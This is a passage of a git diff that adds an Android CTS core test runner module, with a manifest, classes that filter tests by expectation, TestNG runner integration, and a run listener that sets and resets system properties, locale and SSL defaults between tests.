+LOCAL_SRC_FILES := $(call all-java-files-under,src/com/android/cts/runner)
+LOCAL_MODULE := cts-test-runner-axt
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/core/runner-axt/AndroidManifest.xml b/tests/core/runner-axt/AndroidManifest.xml
new file mode 100644
index 0000000..a825501
--- /dev/null
+++ b/tests/core/runner-axt/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.core.tests.runner">
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.core.tests.runner"
+                     android:label="cts framework tests"/>
+
+</manifest>
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java
new file mode 100644
index 0000000..f409dbd
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.core.runner;
+
+import android.os.Bundle;
+import android.util.Log;
+import com.google.common.base.Splitter;
+import java.io.IOException;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import javax.annotation.Nullable;
+import org.junit.runner.Description;
+import org.junit.runner.manipulation.Filter;
+import org.junit.runners.ParentRunner;
+import org.junit.runners.Suite;
+import vogar.Expectation;
+import vogar.ExpectationStore;
+import vogar.ModeId;
+import vogar.Result;
+
+/**
+ * Filter out tests/classes that are not requested or which are expected to fail.
+ *
+ * <p>This filter has to handle both a hierarchy of {@code Description descriptions} that looks
+ * something like this:
+ * <pre>
+ * Suite
+ *     Suite
+ *         Suite
+ *             ParentRunner
+ *                 Test
+ *                 ...
+ *             ...
+ *         ParentRunner
+ *             Test
+ *             ...
+ *         ...
+ *     Suite
+ *         ParentRunner
+ *             Test
+ *             ...
+ *         ...
+ *     ...
+ * </pre>
+ *
+ * <p>It cannot filter out the non-leaf nodes in the hierarchy, i.e. {@link Suite} and
+ * {@link ParentRunner}, as that would prevent it from traversing the hierarchy and finding
+ * the leaf nodes.
+ */
+class ExpectationBasedFilter extends Filter {
+
+    static final String TAG = "ExpectationBasedFilter";
+
+    private static final String ARGUMENT_EXPECTATIONS = "core-expectations";
+
+    private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
+
+    private final ExpectationStore expectationStore;
+
+    private static List<String> getExpectationResourcePaths(Bundle args) {
+        return CLASS_LIST_SPLITTER.splitToList(args.getString(ARGUMENT_EXPECTATIONS));
+    }
+
+    public ExpectationBasedFilter(Bundle args) {
+        ExpectationStore expectationStore = null;
+        try {
+            // Get the set of resource names containing the expectations.
+            Set<String> expectationResources = new LinkedHashSet<>(
+                getExpectationResourcePaths(args));
+            Log.i(TAG, "Loading expectations from: " + expectationResources);
+            expectationStore = ExpectationStore.parseResources(
+                getClass(), expectationResources, ModeId.DEVICE);
+        } catch (IOException e) {
+            Log.e(TAG, "Could not initialize ExpectationStore: ", e);
+        }
+
+        this.expectationStore = expectationStore;
+    }
+
+    @Override
+    public boolean shouldRun(Description description) {
+        // Only filter leaf nodes. The description is for a test if and only if it is a leaf node.
+        // Non-leaf nodes must not be filtered out as that would prevent leaf nodes from being
+        // visited in the case when we are traversing the hierarchy of classes.
+        Description testDescription = getTestDescription(description);
+        if (testDescription != null) {
+            String className = testDescription.getClassName();
+            String methodName = testDescription.getMethodName();
+            String testName = className + "#" + methodName;
+
+            if (expectationStore != null) {
+                Expectation expectation = expectationStore.get(testName);
+                if (expectation.getResult() != Result.SUCCESS) {
+                    Log.d(TAG, "Excluding test " + testDescription
+                            + " as it matches expectation: " + expectation);
+                    return false;
+                }
+            }
+        }
+
+        return true;
+    }
+
+    private Description getTestDescription(Description description) {
+        List<Description> children = description.getChildren();
+        // An empty description is by definition a test.
+        if (children.isEmpty()) {
+            return description;
+        }
+
+        // Handle initialization errors that were wrapped in an ErrorReportingRunner as a special
+        // case. This is needed because ErrorReportingRunner is treated as a suite of Throwables,
+        // (where each Throwable corresponds to a test called initializationError) and so its
+        // description contains children, one for each Throwable, and so is not treated as a test
+        // to filter. Unfortunately, it does not support Filterable so this filter is never applied
+        // to its children.
+        // See https://github.com/junit-team/junit/issues/1253
+        Description child = children.get(0);
+        String methodName = child.getMethodName();
+        if ("initializationError".equals(methodName)) {
+            return child;
+        }
+
+        return null;
+    }
+
+    @Override
+    public String describe() {
+        return "TestFilter";
+    }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
new file mode 100644
index 0000000..7a68a8b
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+/**
+ * Listener for TestNG runs that provides gtest-like console output.
+ *
+ * Prints a message like [RUN], [OK], [ERROR], [SKIP] to stdout
+ * as tests are being executed with their status.
+ *
+ * This output is also saved as the device logs (logcat) when the test is run through
+ * cts-tradefed.
+ */
+public class SingleTestNGTestRunListener implements org.testng.ITestListener {
+    private int mTestStarted = 0;
+
+    private Map<String, Throwable> failures = new LinkedHashMap<>();
+
+    private static class Prefixes {
+        @SuppressWarnings("unused")
+        private static final String INFORMATIONAL_MARKER =  "[----------]";
+        private static final String START_TEST_MARKER =     "[ RUN      ]";
+        private static final String OK_TEST_MARKER =        "[       OK ]";
+        private static final String ERROR_TEST_RUN_MARKER = "[    ERROR ]";
+        private static final String SKIPPED_TEST_MARKER =   "[     SKIP ]";
+        private static final String TEST_RUN_MARKER =       "[==========]";
+    }
+
+    // How many tests did TestNG *actually* try to run?
+    public int getNumTestStarted() {
+      return mTestStarted;
+    }
+
+    public Map<String, Throwable> getFailures() {
+        return Collections.unmodifiableMap(failures);
+    }
+
+    @Override
+    public void onFinish(org.testng.ITestContext context) {
+        System.out.println(String.format("%s", Prefixes.TEST_RUN_MARKER));
+    }
+
+    @Override
+    public void onStart(org.testng.ITestContext context) {
+        System.out.println(String.format("%s", Prefixes.INFORMATIONAL_MARKER));
+    }
+
+    @Override
+    public void onTestFailedButWithinSuccessPercentage(org.testng.ITestResult result) {
+        onTestFailure(result);
+    }
+
+    @Override
+    public void onTestFailure(org.testng.ITestResult result) {
+        // All failures are coalesced into one '[ FAILED ]' message at the end
+        // This is because a single test method can run multiple times with different parameters.
+        // Since we only test a single method, it's safe to combine all failures into one
+        // failure at the end.
+        //
+        // The big pass/fail is printed from SingleTestNGTestRunner, not from the listener.
+        String id = getId(result);
+        Throwable throwable = result.getThrowable();
+        System.out.println(String.format("%s %s ::: %s", Prefixes.ERROR_TEST_RUN_MARKER,
+                id, stringify(throwable)));
+        failures.put(id, throwable);
+    }
+
+    @Override
+    public void onTestSkipped(org.testng.ITestResult result) {
+        System.out.println(String.format("%s %s", Prefixes.SKIPPED_TEST_MARKER,
+              getId(result)));
+    }
+
+    @Override
+    public void onTestStart(org.testng.ITestResult result) {
+        mTestStarted++;
+        System.out.println(String.format("%s %s", Prefixes.START_TEST_MARKER,
+              getId(result)));
+    }
+
+    @Override
+    public void onTestSuccess(org.testng.ITestResult result) {
+        System.out.println(String.format("%s", Prefixes.OK_TEST_MARKER));
+    }
+
+    private String getId(org.testng.ITestResult test) {
+        // TestNG is quite complicated since tests can have arbitrary parameters.
+        // Use its code to stringify a result name instead of doing it ourselves.
+
+        org.testng.remote.strprotocol.TestResultMessage msg =
+                new org.testng.remote.strprotocol.TestResultMessage(
+                    null, /*suite name*/
+                    null, /*test name -- display the test method name instead */
+                    test);
+
+        String className = test.getTestClass().getName();
+        //String name = test.getMethod().getMethodName();
+        return String.format("%s#%s", className, msg.toDisplayString());
+
+    }
+
+    private String stringify(Throwable error) {
+        return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
+    }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
new file mode 100644
index 0000000..deb18df
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import android.util.Log;
+
+import org.testng.TestNG;
+import org.testng.xml.XmlClass;
+import org.testng.xml.XmlInclude;
+import org.testng.xml.XmlSuite;
+import org.testng.xml.XmlTest;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Test executor to run a single TestNG test method.
+ */
+public class SingleTestNgTestExecutor {
+    // Execute any method which is in the class klass.
+    // The klass is passed in separately to handle inherited methods only.
+    // Returns true if all tests pass, false otherwise.
+    public static Result execute(Class<?> klass, String methodName) {
+        if (klass == null) {
+          throw new NullPointerException("klass must not be null");
+        }
+
+        if (methodName == null) {
+          throw new NullPointerException("methodName must not be null");
+        }
+
+        //if (!method.getDeclaringClass().isAssignableFrom(klass)) {
+        //  throw new IllegalArgumentException("klass must match method's declaring class");
+        //}
+
+        SingleTestNGTestRunListener listener = new SingleTestNGTestRunListener();
+
+        // Although creating a new testng "core" every time might seem heavyweight, in practice
+        // it seems to take a mere few milliseconds at most.
+        // Since we're running all the parameteric combinations of a test,
+        // this ends up being neglible relative to that.
+        TestNG testng = createTestNG(klass.getName(), methodName, listener);
+        testng.run();
+
+        if (listener.getNumTestStarted() <= 0) {
+          // It's possible to be invoked here with an arbitrary method name
+          // so print out a warning incase TestNG actually had a no-op.
+          Log.w("TestNgExec", "execute class " + klass.getName() + ", method " + methodName +
+              " had 0 tests executed. Not a test method?");
+        }
+
+        return new Result(testng.hasFailure(), listener.getFailures());
+    }
+
+    private static org.testng.TestNG createTestNG(String klass, String method,
+            SingleTestNGTestRunListener listener) {
+        org.testng.TestNG testng = new org.testng.TestNG();
+        testng.setUseDefaultListeners(false);  // Don't create the testng-specific HTML/XML reports.
+        // It still prints the X/Y tests succeeded/failed summary to stdout.
+
+        // We don't strictly need this listener for CTS, but having it print SUCCESS/FAIL
+        // makes it easier to diagnose which particular combination of a test method had failed
+        // from looking at device logcat.
+        testng.addListener(listener);
+
+        /* Construct the following equivalent XML configuration:
+         *
+         * <!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
+         * <suite>
+         *   <test>
+         *     <classes>
+         *       <class name="$klass">
+         *         <include name="$method" />
+         *       </class>
+         *     </classes>
+         *   </test>
+         * </suite>
+         *
+         * This will ensure that only a single klass/method is being run by testng.
+         * (It can still be run multiple times due to @DataProvider, with different parameters
+         * each time)
+         */
+        List<XmlSuite> suites = new ArrayList<>();
+        XmlSuite the_suite = new XmlSuite();
+        XmlTest the_test = new XmlTest(the_suite);
+        XmlClass the_class = new XmlClass(klass);
+        XmlInclude the_include = new XmlInclude(method);
+
+        the_class.getIncludedMethods().add(the_include);
+        the_test.getXmlClasses().add(the_class);
+        suites.add(the_suite);
+        testng.setXmlSuites(suites);
+
+        return testng;
+    }
+
+    public static class Result {
+        private final boolean hasFailure;
+        private final Map<String,Throwable> failures;
+
+
+        Result(boolean hasFailure, Map<String, Throwable> failures) {
+            this.hasFailure = hasFailure;
+            this.failures = Collections.unmodifiableMap(new LinkedHashMap<>(failures));
+        }
+
+        public boolean hasFailure() {
+            return hasFailure;
+        }
+
+        public Map<String, Throwable> getFailures() {
+            return failures;
+        }
+    }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunner.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunner.java
new file mode 100644
index 0000000..d9bf037
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunner.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import android.util.Log;
+
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runner.manipulation.Filter;
+import org.junit.runner.manipulation.Filterable;
+import org.junit.runner.manipulation.NoTestsRemainException;
+import org.junit.runner.notification.Failure;
+import org.junit.runner.notification.RunNotifier;
+
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.HashSet;
+import java.util.Map;
+
+/**
+ * A {@link Runner} that can TestNG tests.
+ *
+ * <p>Implementation note: Avoid extending ParentRunner since that also has
+ * logic to handle BeforeClass/AfterClass and other junit-specific functionality
+ * that would be invalid for TestNG.</p>
+ */
+class TestNgRunner extends Runner implements Filterable {
+
+  private static final boolean DEBUG = false;
+
+  private Description mDescription;
+  /** Class name for debugging. */
+  private String mClassName;
+  /** Don't include the same method names twice. */
+  private HashSet<String> mMethodSet = new HashSet<>();
+
+  /**
+   * @param testClass the test class to run
+   */
+  TestNgRunner(Class<?> testClass) {
+    mDescription = generateTestNgDescription(testClass);
+    mClassName = testClass.getName();
+  }
+
+  // Runner implementation
+  @Override
+  public Description getDescription() {
+    return mDescription;
+  }
+
+  // Runner implementation
+  @Override
+  public int testCount() {
+    if (!descriptionHasChildren(getDescription())) {  // Avoid NPE when description is null.
+      return 0;
+    }
+
+    // We always follow a flat Parent->Leaf hierarchy, so no recursion necessary.
+    return getDescription().testCount();
+  }
+
+  // Filterable implementation
+  @Override
+  public void filter(Filter filter) throws NoTestsRemainException {
+    mDescription = filterDescription(mDescription, filter);
+
+    if (!descriptionHasChildren(getDescription())) {  // Avoid NPE when description is null.
+      if (DEBUG) {
+        Log.d("TestNgRunner",
+            "Filtering has removed all tests :( for class " + mClassName);
+      }
+      throw new NoTestsRemainException();
+    }
+
+    if (DEBUG) {
+      Log.d("TestNgRunner",
+          "Filtering has retained " + testCount() + " tests for class " + mClassName);
+    }
+  }
+
+  // Filterable implementation
+  @Override
+  public void run(RunNotifier notifier) {
+    if (!descriptionHasChildren(getDescription())) {  // Avoid NPE when description is null.
+      // Nothing to do.
+      return;
+    }
+
+    for (Description child : getDescription().getChildren()) {
+      String className = child.getClassName();
+      String methodName = child.getMethodName();
+
+      Class<?> klass;
+      try {
+        klass = Class.forName(className, false, Thread.currentThread().getContextClassLoader());
+      } catch (ClassNotFoundException e) {
+        throw new AssertionError(e);
+      }
+
+      notifier.fireTestStarted(child);
+
+      // Avoid looking at all the methods by just using the string method name.
+      SingleTestNgTestExecutor.Result result = SingleTestNgTestExecutor.execute(klass, methodName);
+      if (result.hasFailure()) {
+        // TODO: get the error messages from testng somehow.
+        notifier.fireTestFailure(new Failure(child, extractException(result.getFailures())));
+      }
+
+      notifier.fireTestFinished(child);
+      // TODO: Check @Test(enabled=false) and invoke #fireTestIgnored instead.
+    }
+  }
+
+  private Throwable extractException(Map<String, Throwable> failures) {
+    if (failures.isEmpty()) {
+      return new AssertionError();
+    }
+    if (failures.size() == 1) {
+      return failures.values().iterator().next();
+    }
+
+    StringBuilder errorMessage = new StringBuilder("========== Multiple Failures ==========");
+    for (Map.Entry<String, Throwable> failureEntry : failures.entrySet()) {
+      errorMessage.append("\n\n=== "). append(failureEntry.getKey()).append(" ===\n");
+      Throwable throwable = failureEntry.getValue();
+      errorMessage
+              .append(throwable.getClass()).append(": ")
+              .append(throwable.getMessage());
+      for (StackTraceElement e : throwable.getStackTrace()) {
+        if (e.getClassName().equals(getClass().getName())) {
+          break;
+        }
+        errorMessage.append("\n  at ").append(e);
+      }
+    }
+    errorMessage.append("\n=======================================\n\n");
+    return new AssertionError(errorMessage.toString());
+  }
+
+
+  /**
+   * Recursively (preorder traversal) apply the filter to all the descriptions.
+   *
+   * @return null if the filter rejects the whole tree.
+   */
+  private static Description filterDescription(Description desc, Filter filter) {
+    if (!filter.shouldRun(desc)) {  // XX: Does the filter itself do the recursion?
+      return null;
+    }
+
+    Description newDesc = desc.childlessCopy();
+
+    // Return leafs.
+    if (!descriptionHasChildren(desc)) {
+      return newDesc;
+    }
+
+    // Filter all subtrees, only copying them if the filter accepts them.
+    for (Description child : desc.getChildren()) {
+      Description filteredChild = filterDescription(child, filter);
+
+      if (filteredChild != null) {
+        newDesc.addChild(filteredChild);
+      }
+    }
+
+    return newDesc;
+  }
+
+  private Description generateTestNgDescription(Class<?> cls) {
+    // Add the overall class description as the parent.
+    Description parent = Description.createSuiteDescription(cls);
+
+    if (DEBUG) {
+      Log.d("TestNgRunner", "Generating TestNg Description for class " + cls.getName());
+    }
+
+    // Add each test method as a child.
+    for (Method m : cls.getDeclaredMethods()) {
+
+      // Filter to only 'public void' signatures.
+      if ((m.getModifiers() & Modifier.PUBLIC) == 0) {
+        continue;
+      }
+
+      if (!m.getReturnType().equals(Void.TYPE)) {
+        continue;
+      }
+
+      // Note that TestNG methods may actually have parameters
+      // (e.g. with @DataProvider) which TestNG will populate itself.
+
+      // Add [Class, MethodName] as a Description leaf node.
+      String name = m.getName();
+
+      if (!mMethodSet.add(name)) {
+        // Overloaded methods have the same name, don't add them twice.
+        if (DEBUG) {
+          Log.d("TestNgRunner", "Already added child " + cls.getName() + "#" + name);
+        }
+        continue;
+      }
+
+      Description child = Description.createTestDescription(cls, name);
+
+      parent.addChild(child);
+
+      if (DEBUG) {
+        Log.d("TestNgRunner", "Add child " + cls.getName() + "#" + name);
+      }
+    }
+
+    return parent;
+  }
+
+  private static boolean descriptionHasChildren(Description desc) {
+    // Note: Although "desc.isTest()" is equivalent to "!desc.getChildren().isEmpty()"
+    // we add the pre-requisite 2 extra null checks to avoid throwing NPEs.
+    return desc != null && desc.getChildren() != null && !desc.getChildren().isEmpty();
+  }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
new file mode 100644
index 0000000..2f084b3
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import java.lang.reflect.Method;
+
+import org.junit.runner.Runner;
+import org.junit.runners.model.RunnerBuilder;
+
+import org.testng.annotations.Test;
+
+/**
+ * A {@link RunnerBuilder} that can handle TestNG tests.
+ */
+public class TestNgRunnerBuilder extends RunnerBuilder {
+  // Returns a TestNG runner for this class, only if it is a class
+  // annotated with testng's @Test or has any methods with @Test in it.
+  @Override
+  public Runner runnerForClass(Class<?> testClass) {
+    if (isTestNgTestClass(testClass)) {
+      return new TestNgRunner(testClass);
+    }
+
+    return null;
+  }
+
+  private static boolean isTestNgTestClass(Class<?> cls) {
+    // TestNG test is either marked @Test at the class
+    if (cls.getAnnotation(Test.class) != null) {
+      return true;
+    }
+
+    // Or It's marked @Test at the method level
+    for (Method m : cls.getDeclaredMethods()) {
+      if (m.getAnnotation(Test.class) != null) {
+        return true;
+      }
+    }
+
+    return false;
+  }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
new file mode 100644
index 0000000..abda5a7
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
@@ -0,0 +1,262 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import androidx.test.internal.runner.listener.InstrumentationRunListener;
+import android.text.TextUtils;
+import android.util.Log;
+
+import junit.framework.TestCase;
+
+import org.junit.runner.Description;
+import org.junit.runner.notification.RunListener;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.Class;
+import java.lang.ReflectiveOperationException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.net.Authenticator;
+import java.net.CookieHandler;
+import java.net.ResponseCache;
+import java.text.DateFormat;
+import java.util.Locale;
+import java.util.Properties;
+import java.util.TimeZone;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLSocketFactory;
+
+/**
+ * A {@link RunListener} for CTS. Sets the system properties necessary for many
+ * core tests to run. This is needed because there are some core tests that need
+ * writing access to the file system.
+ * Finally, we add a means to free memory allocated by a TestCase after its
+ * execution.
+ */
+public class CtsTestRunListener extends InstrumentationRunListener {
+
+    private static final String TAG = "CtsTestRunListener";
+
+    private TestEnvironment mEnvironment;
+    private Class<?> lastClass;
+
+    @Override
+    public void testRunStarted(Description description) throws Exception {
+        mEnvironment = new TestEnvironment(getInstrumentation().getTargetContext());
+
+        // We might want to move this to /sdcard, if is is mounted/writable.
+        File cacheDir = getInstrumentation().getTargetContext().getCacheDir();
+        System.setProperty("java.io.tmpdir", cacheDir.getAbsolutePath());
+
+        // attempt to disable keyguard, if current test has permission to do so
+        // TODO: move this to a better place, such as InstrumentationTestRunner
+        // ?
+        if (getInstrumentation().getContext().checkCallingOrSelfPermission(
+                android.Manifest.permission.DISABLE_KEYGUARD)
+                == PackageManager.PERMISSION_GRANTED) {
+            Log.i(TAG, "Disabling keyguard");
+            KeyguardManager keyguardManager =
+                    (KeyguardManager) getInstrumentation().getContext().getSystemService(
+                            Context.KEYGUARD_SERVICE);
+            keyguardManager.newKeyguardLock("cts").disableKeyguard();
+        } else {
+            Log.i(TAG, "Test lacks permission to disable keyguard. " +
+                    "UI based tests may fail if keyguard is up");
+        }
+    }
+
+    @Override
+    public void testStarted(Description description) throws Exception {
+        if (description.getTestClass() != lastClass) {
+            lastClass = description.getTestClass();
+            printMemory(description.getTestClass());
+        }
+
+        mEnvironment.reset();
+    }
+
+    @Override
+    public void testFinished(Description description) {
+        // no way to implement this in JUnit4...
+        // offending test cases that need this logic should probably be cleaned
+        // up individually
+        // if (test instanceof TestCase) {
+        // cleanup((TestCase) test);
+        // }
+    }
+
+    /**
+     * Dumps some memory info.
+     */
+    private void printMemory(Class<?> testClass) {
+        Runtime runtime = Runtime.getRuntime();
+
+        long total = runtime.totalMemory();
+        long free = runtime.freeMemory();
+        long used = total - free;
+
+        Log.d(TAG, "Total memory  : " + total);
+        Log.d(TAG, "Used memory   : " + used);
+        Log.d(TAG, "Free memory   : " + free);
+
+        String tempdir = System.getProperty("java.io.tmpdir", "");
+        // TODO: Remove these extra Logs added to debug a specific timeout problem.
+        Log.d(TAG, "java.io.tmpdir is:" + tempdir);
+
+        if (!TextUtils.isEmpty(tempdir)) {
+            String[] commands = {"df", tempdir};
+            BufferedReader in = null;
+            try {
+                Log.d(TAG, "About to .exec df");
+                Process proc = runtime.exec(commands);
+                Log.d(TAG, ".exec returned");
+                in = new BufferedReader(new InputStreamReader(proc.getInputStream()));
+                Log.d(TAG, "Stream reader created");
+                String line;
+                while ((line = in.readLine()) != null) {
+                    Log.d(TAG, line);
+                }
+            } catch (IOException e) {
+                Log.d(TAG, "Exception: " + e.toString());
+                // Well, we tried
+            } finally {
+                Log.d(TAG, "In finally");
+                if (in != null) {
+                    try {
+                        in.close();
+                    } catch (IOException e) {
+                        // Meh
+                    }
+                }
+            }
+        }
+
+        Log.d(TAG, "Now executing : " + testClass.getName());
+    }
+
+    /**
+     * Nulls all non-static reference fields in the given test class. This
+     * method helps us with those test classes that don't have an explicit
+     * tearDown() method. Normally the garbage collector should take care of
+     * everything, but since JUnit keeps references to all test cases, a little
+     * help might be a good idea.
+     */
+    private void cleanup(TestCase test) {
+        Class<?> clazz = test.getClass();
+
+        while (clazz != TestCase.class) {
+            Field[] fields = clazz.getDeclaredFields();
+            for (int i = 0; i < fields.length; i++) {
+                Field f = fields[i];
+                if (!f.getType().isPrimitive() &&
+                        !Modifier.isStatic(f.getModifiers())) {
+                    try {
+                        f.setAccessible(true);
+                        f.set(test, null);
+                    } catch (Exception ignored) {
+                        // Nothing we can do about it.
+                    }
+                }
+            }
+
+            clazz = clazz.getSuperclass();
+        }
+    }
+
+    // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
+    static class TestEnvironment {
+        private static final Field sDateFormatIs24HourField;
+        static {
+            try {
+                Class<?> dateFormatClass = Class.forName("java.text.DateFormat");
+                sDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
+            } catch (ReflectiveOperationException e) {
+                throw new AssertionError("Missing DateFormat.is24Hour", e);
+            }
+        }
+
+        private final Locale mDefaultLocale;
+        private final TimeZone mDefaultTimeZone;
+        private final HostnameVerifier mHostnameVerifier;
+        private final SSLSocketFactory mSslSocketFactory;
+        private final Properties mProperties = new Properties();
+        private final Boolean mDefaultIs24Hour;
+
+        TestEnvironment(Context context) {
+            mDefaultLocale = Locale.getDefault();
+            mDefaultTimeZone = TimeZone.getDefault();
+            mHostnameVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
+            mSslSocketFactory = HttpsURLConnection.getDefaultSSLSocketFactory();
+
+            mProperties.setProperty("user.home", "");
+            mProperties.setProperty("java.io.tmpdir", context.getCacheDir().getAbsolutePath());
+            // The CDD mandates that devices that support WiFi are the only ones that will have
+            // multicast.
+            PackageManager pm = context.getPackageManager();
+            mProperties.setProperty("android.cts.device.multicast",
+                    Boolean.toString(pm.hasSystemFeature(PackageManager.FEATURE_WIFI)));
+            mDefaultIs24Hour = getDateFormatIs24Hour();
+
+            // There are tests in libcore that should be disabled for low ram devices. They can't
+            // access ActivityManager to call isLowRamDevice, but can read system properties.
+            ActivityManager activityManager =
+                    (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+            mProperties.setProperty("android.cts.device.lowram",
+                    Boolean.toString(activityManager.isLowRamDevice()));
+        }
+
+        void reset() {
+            System.setProperties(null);
+            System.setProperties(mProperties);
+            Locale.setDefault(mDefaultLocale);
